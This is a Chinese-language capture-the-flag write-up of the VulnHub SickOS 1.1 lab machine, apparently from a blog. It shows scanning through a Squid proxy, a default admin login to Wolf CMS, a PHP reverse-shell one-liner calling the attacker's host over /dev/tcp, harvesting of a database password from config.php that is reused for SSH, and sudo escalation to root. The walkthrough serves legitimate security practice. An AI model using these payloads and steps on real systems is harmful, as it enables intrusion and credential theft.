sickos 靶机渗透(wolf cms 渗透,squid 代理)

靶机信息

vulnhub靶机

主机发现

192.168.50.152 为靶机Ip

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo nmap -sn 192.168.50.0/24
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 09:56 CST
Nmap scan report for 192.168.50.1
Host is up (0.00029s latency).
MAC Address: 00:50:56:F3:32:0E (VMware)
Nmap scan report for 192.168.50.134
Host is up (0.00012s latency).
MAC Address: 00:0C:29:83:4F:85 (VMware)
Nmap scan report for 192.168.50.152
Host is up (0.000086s latency).
MAC Address: 00:0C:29:45:FB:71 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00014s latency).
MAC Address: 00:50:56:FE:9D:85 (VMware)
Nmap scan report for 192.168.50.147
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.89 seconds

扫靶机的端口

两个开放的端口

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo nmap --min-rate 10000 -p- 192.168.50.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 10:02 CST
Nmap scan report for 192.168.50.152
Host is up (0.00026s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:45:FB:71 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 26.35 seconds

tcp扫
openssh 在22端口

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo nmap -sT -sV -O -p22,3128,8080 192.168.50.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 10:05 CST
Nmap scan report for 192.168.50.152
Host is up (0.00046s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
MAC Address: 00:0C:29:45:FB:71 (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.10 - 4.11 (92%), Linux 3.13 (91%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Android 5.0 - 6.0.1 (Linux 3.4) (91%), Linux 3.10 (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.96 seconds

udp扫一下看看

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo nmap -sU -p22,3128,8080 192.168.50.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 10:08 CST
Nmap scan report for 192.168.50.152
Host is up (0.00030s latency).

PORT     STATE         SERVICE
22/udp   open|filtered ssh
3128/udp open|filtered ndl-aas
8080/udp open|filtered http-alt
MAC Address: 00:0C:29:45:FB:71 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.37 seconds

漏洞脚本扫描看看

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo nmap --script=vuln -p22,3128,8080 192.168.50.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 10:09 CST
Nmap scan report for 192.168.50.152
Host is up (0.00033s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:45:FB:71 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 24.37 seconds

渗透

3128端口
在这里插入图片描述

目录爆破

dirb扫一下

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo dirb http://192.168.50.152:3128/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Aug 30 10:26:10 2024
URL_BASE: http://192.168.50.152:3128/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.50.152:3128/ ----
                                                                                                                          
-----------------
END_TIME: Fri Aug 30 10:26:21 2024
DOWNLOADED: 4612 - FOUND: 0

gobuster

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo gobuster dir -u http://192.168.50.152:3128/ -w /usr/share/wordlists/dirbuster/directories.jbrofuzz
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.50.152:3128/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directories.jbrofuzz
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.50.152:3128/b81e40f1-1fe8-408c-a188-83cb028e2898 => 400 (Length: 3223). To continue please exclude the status code or the length

设置代理扫描

┌──(kali㉿kali)-[~/testSickos]
└─$ sudo dirb http://192.168.50.152/ -p http://192.168.50.152:3128/                                        

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Aug 30 15:35:15 2024
URL_BASE: http://192.168.50.152/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: http://192.168.50.152:3128/

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.50.152/ ----
+ http://192.168.50.152/cgi-bin/ (CODE:403|SIZE:290)                                                                      
+ http://192.168.50.152/connect (CODE:200|SIZE:109)                                                                       
+ http://192.168.50.152/index (CODE:200|SIZE:21)                                                                          
+ http://192.168.50.152/index.php (CODE:200|SIZE:21)                                                                      
+ http://192.168.50.152/robots (CODE:200|SIZE:45)                                                                         
+ http://192.168.50.152/robots.txt (CODE:200|SIZE:45)                                                                     
+ http://192.168.50.152/server-status (CODE:403|SIZE:295)                                                                 
                                                                                                                          
-----------------
END_TIME: Fri Aug 30 15:35:17 2024
DOWNLOADED: 4612 - FOUND: 7

浏览器也使用代理

在这里插入图片描述看看robots.txt
在这里插入图片描述看看/wolfcms
在这里插入图片描述搜索一下 wolf cms 的后台路径

后台路径/?/admin/login

account: admin
password: admin

来一个一句话, 写在article里

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.147/443 0>&1'");?>

监听, 点击article让php代码加载

拿到shell
在这里插入图片描述

里边看看

┌──(kali㉿kali)-[~]
└─$ sudo ncat -lvnp 443    
[sudo] password for kali: 
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.50.152:45110.
bash: no job control in this shell
www-data@SickOs:/var/www/wolfcms$ whoami
whoami
www-data
www-data@SickOs:/var/www/wolfcms$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:45:fb:71 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.152/24 brd 192.168.50.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe45:fb71/64 scope link 
       valid_lft forever preferred_lft forever
www-data@SickOs:/var/www/wolfcms$ 

看一看配置文件config.php

?php

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);

// The number of seconds before the check for a new Wolf version times out in ca
se of problems.
define('CHECK_TIMEOUT', 3);

"config.php" 85L, 3058C                                       1,1           Top

似乎有东西, root 和 john@123

看一看passwd

www-data@SickOs:/var/www/wolfcms$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false                                                                                                                                                                  
messagebus:x:102:105::/var/run/dbus:/bin/false                                                                                                                                                             
whoopsie:x:103:106::/nonexistent:/bin/false                                                                                                                                                                
landscape:x:104:109::/var/lib/landscape:/bin/false                                                                                                                                                         
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin                                                                                                                                                          
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash                                                                                                                                                        
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false                                                                                                                                                    
www-data@SickOs:/var/www/wolfcms$     

unam -a 查看内核信息

www-data@SickOs:/var/www/wolfcms$ uname -a                                                                                                                                                                 
uname -a                                                                                                                                                                                                   
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 athlon i386 GNU/Linux                                                                                             
www-data@SickOs:/var/www/wolfcms$  

尝试以sickos登录ssh

sudo ssh sickos@192.168.50.152

password: john@123

sickos@SickOs:~$ whoami
sickos
sickos@SickOs:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:45:fb:71 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.152/24 brd 192.168.50.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe45:fb71/64 scope link 
       valid_lft forever preferred_lft forever
sickos@SickOs

查看当前权限账户 sudo -l

sickos@SickOs:~$ sudo -l
[sudo] password for sickos: 
Matching Defaults entries for sickos on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sickos may run the following commands on this host:
    (ALL : ALL) ALL
sickos@SickOs:~$ 

新起一个bash,可获得root权限

sickos@SickOs:~$ sudo /bin/bash
root@SickOs:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:0c:29:45:fb:71 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.152/24 brd 192.168.50.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe45:fb71/64 scope link 
       valid_lft forever preferred_lft forever
root@SickOs:~# whoami
root
root@SickOs:~# 

找找 flag

root@SickOs:~# ls
root@SickOs:~# pwd
/home/sickos
root@SickOs:~# cd /root
root@SickOs:/root# ls
a0216ea4d51874464078c618298b1367.txt
root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying


root@SickOs:/root# 


拿下
在这里插入图片描述

总结

主机发现阶段的tcp扫描
开放了22, 3128, 8080, 但是8080关闭
3128开放了squid服务,起代理作用
用3128做代理,访问8080,看到web页面
使用dirb -p 代理,爆破8080的目录
发现8080的robots文件,找到/wolfcms目录
是一个wolfcms的后台路径,/?/admin/login
搜索默认密码,admin admin
观察,发现可执行php,反弹个shell
拿到一个初级shell, 用户为www-data
使用ls 看到config.php, 发现可能的用户名root,可能的密码john@123
查看/etc/passwd, 找到可能的用户
使用密码尝试连接ssh, 发现用户sickos使用了密码john@123作为密码
拿到用户sickos的shell,查看用户权限sudo -l
使用sudo /bin/bash来提权,拿到root的shell
找flag,拿下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值